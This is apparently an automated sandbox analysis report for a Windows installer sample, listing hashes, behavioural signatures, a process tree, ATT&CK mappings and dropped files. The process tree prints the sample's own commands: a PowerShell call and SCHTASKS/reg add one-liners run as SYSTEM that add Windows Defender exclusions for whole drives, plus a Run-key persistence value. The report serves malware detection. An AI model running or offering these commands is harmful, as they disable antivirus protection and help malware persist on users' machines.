Analysis
- max time kernel
150s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
23/10/2026, 08:54
Static task
static1
Behavioral task
behavioral1
Sample
install.2.0.01.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
install.2.0.01.exe
Resource
win11ltsc2024-20260911-en
General
- Target install.2.0.01.exe
- Size 38.9MB
- Sample261023-kt955ace63
- SHA256 2b304b398aba531b12710e274b1f0104311e2a25dc2d4911c42f07b64e4055d4
- MD5 dd40c7f41e9c7cfd883e8909d8a1cd1a
- SHA1 20e373229d29ac316a8b06e4c5ec9c2faf2d800c
- SHA512 704b04a218407fadad145e384fb5fba717da7d4c526e5154452840687d2c884b1475e9d1c5ae4e0f4488fcfc28f363ab1163fccaf04c9c286cde083402ff5e04
- SSDEEP 49152:xPnycXVTyTyg5tJyNZ/W/hNbo1iTl8ZFPnMBwbePbgF+VS5sb5m+cZ2lyn0wgsXT:x6chqTShW/hNbSiQfMJPLmrUlsT
- TLSH T12C97D69FBF81DE82F957D23498A75B602336D9B40BF1C307125427206F9F2998EE25D8
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2428 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 2812 CuVo5h.exe - Loads dropped DLL 1 IoCs
pid Process 2812 CuVo5h.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\4glkpG\\CuVo5h.exe\"" CuVo5h.exe - Indicator Removal: Clear Persistence 1 TTPs 4 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 4104 cmd.exe 3092 cmd.exe 3340 cmd.exe 1752 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b CuVo5h.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2164 cmd.exe 2960 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname install.2.0.01.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain install.2.0.01.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname CuVo5h.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain CuVo5h.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1916 schtasks.exe 708 schtasks.exe 4656 schtasks.exe 5864 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 3336 install.2.0.01.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe 2812 CuVo5h.exe - Suspicious behavior: LoadsDriver 5 IoCs
pid Process 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\install.2.0.01.exe"C:\Users\Admin\AppData\Local\Temp\install.2.0.01.exe"1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:3336
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C:\Users\Public\4glkpG\CuVo5h.exe"C:\Users\Public\4glkpG\CuVo5h.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:2812 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
PID:2428
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4glkpG\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:4104 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4glkpG\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1916
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2460
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3748
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:3092 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:708
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4504
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4152
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:3340 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4656
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5632
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2120
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:1752 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5864
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\4glkpG" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:2164
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C:\Users\Public\4glkpG\CuVo5h.exe"C:\Users\Public\4glkpG\CuVo5h.exe"1⤵PID:4700
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C:\Windows\system32\cmd.execmd.exe1⤵PID:1864
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:2960
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
- Size 1KB
- SHA256 5568366d32130768a0ad7d5b05302ac7b88afc5e54173f87822814ba25f8d7d1
- MD5 be746fe57e1660aaa3d5bb1f1f5b5adc
- SHA1 d5c9733b03442b528456bd841a5ca1a4771af4d9
- SHA512 6162a4556078991de2b29599932db96b6e3a45b5f92bc4ae46688fffe42679a0d32007cdd30188a2faf720b202dd810526b74e7bfd246248ad89fb5c23d41f17
- TLSH T1BF31C6FF2B6C78839F398E9421CDB1312CA0A2C01CD544892219C4989F083B11F6E50D
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
- Size 1KB
- SHA256 833b02c6c2ef8542ffe0bbe110c817398431ee1c5e99008655c60df1b6b66b8c
- MD5 73dbf9aa009eb1066e05b7fcae59c2fb
- SHA1 72a2ccac34ab362d227a0d34fceec7c9fa3b7661
- SHA512 17c3152f5d7e670c416e87b43f6d1595333fabc19d0fd16fd0e9ede50a8605063b6d258820a7ad3a68d267fc0d0c7dbbe186c0d6e80c90753f2f4616dc005a20
- TLSH T18231B49B8E7A1002AF1D4F36A7D1C23B6CF1D1784DE80841653EC0BB9A04FB72F8A454
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
- Size 512B
- SHA256 c4f4f79487da0894f019589dfe81ed1c5a819dec886b8745eee0729293398130
- MD5 8a0f7dfecf75a0119ab3c704e14b7616
- SHA1 f278d6f30a012ee6264cc9878b648c5169fc9b59
- SHA512 ecd9d3be4be879fedb57b5493919ffcaab577cfff66f331845fb0d98eb441f7e2b0b7ccd078f85eeb057a400cf5cd36564fc303d8b56b5ed7f2b9298e00983d6
- TLSH T15AF05C180F7C452EF233E93C8AC93BD656BBEB46140186980AB5870C664BD023D5157D
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
- Size 506B
- SHA256 8cd098ee7883aaf59f40ce75007b955819843f5ecd09108349b64bf096b2b55a
- MD5 789be96c133db7540b0cd06c51b4320e
- SHA1 3117630d1189bc0d6ea5a0924f9d90dd1bfec58a
- SHA512 ecd46f447df063e32f202a6994207e04a9a1cc97c73bf788b2b840b23039b4f9bd1f2bc8b67b00c0daf9e6b44ef5e52fa5e075b0261356299298e79d31f43ab3
- TLSH T13EF05C3D56E9450FF07BC9B846CB75721DA6E723104756AE1AF503052B54E002C81366
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Public\4glkpG\CuVo5h.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\4glkpG\UxEnhance64.dll
- Size 3.1MB
- SHA256 550a9a64be6d88f0a012010c27c63fae9283a1d34cc2f0e55d4e208d3f6ca414
- MD5 7d11d8bcbc565549c1b8957e224e4d0e
- SHA1 39f8dc8f4b66182a62b88a2b30428ee755fb32f9
- SHA512 1529b16196269f55e2cd72ccfa3502eacd8f18efad8153fc487f7b7e7999ccb2d63b0ae8303d8320c30a87dbbc1a323278ebe4b506cfd7cb7890e011166a5a2c
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+f:P9m29xx3Tiqt06ox6+z2rNNrKof
- TLSH T109E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\4glkpG\adoresd.dat
- Size 4.8MB
- SHA256 9980921a80515b2a74856af53a0d17c5a1a4441df22dabaaf48d2fa8cd0a44b2
- MD5 25e73074bb4f428d0544f69044626788
- SHA1 af640081243bd7178e8878a5201c5eca80e72561
- SHA512 32a827d6986adb55bbb1d9e7ed85731c157722a42fcc3e369bbca8c791a82cb1c439a5f0faa51bcf53ce9707a15cca86381ba7058023f7acda245efa90a22333
- SSDEEP 98304:NWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:NWj3WRdRQH5fimPGmNc7dBtYOc
- TLSH T1123633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\4glkpG\msadox.tb
- Size 8KB
- SHA256 94769727683291722c0e9d1c2b50148a807d66c543e4dd2e7aadf4e7d4940dc3
- MD5 f078be737ee8d23231ff91b07bd4a482
- SHA1 c21710e5cb874e01542e50e95a73d83d8539daa9
- SHA512 e06883f764584675786526a74f84fbc938b19603ea9eb57a0af1576880b0cae4c4034080568c41583ad528465e536204c0a9fdbee2d1c0bd2ea40bbddbce7070
- SSDEEP 192:oqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:osZqZOXQ3uqvR2Kfzp
- TLSH T15B029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH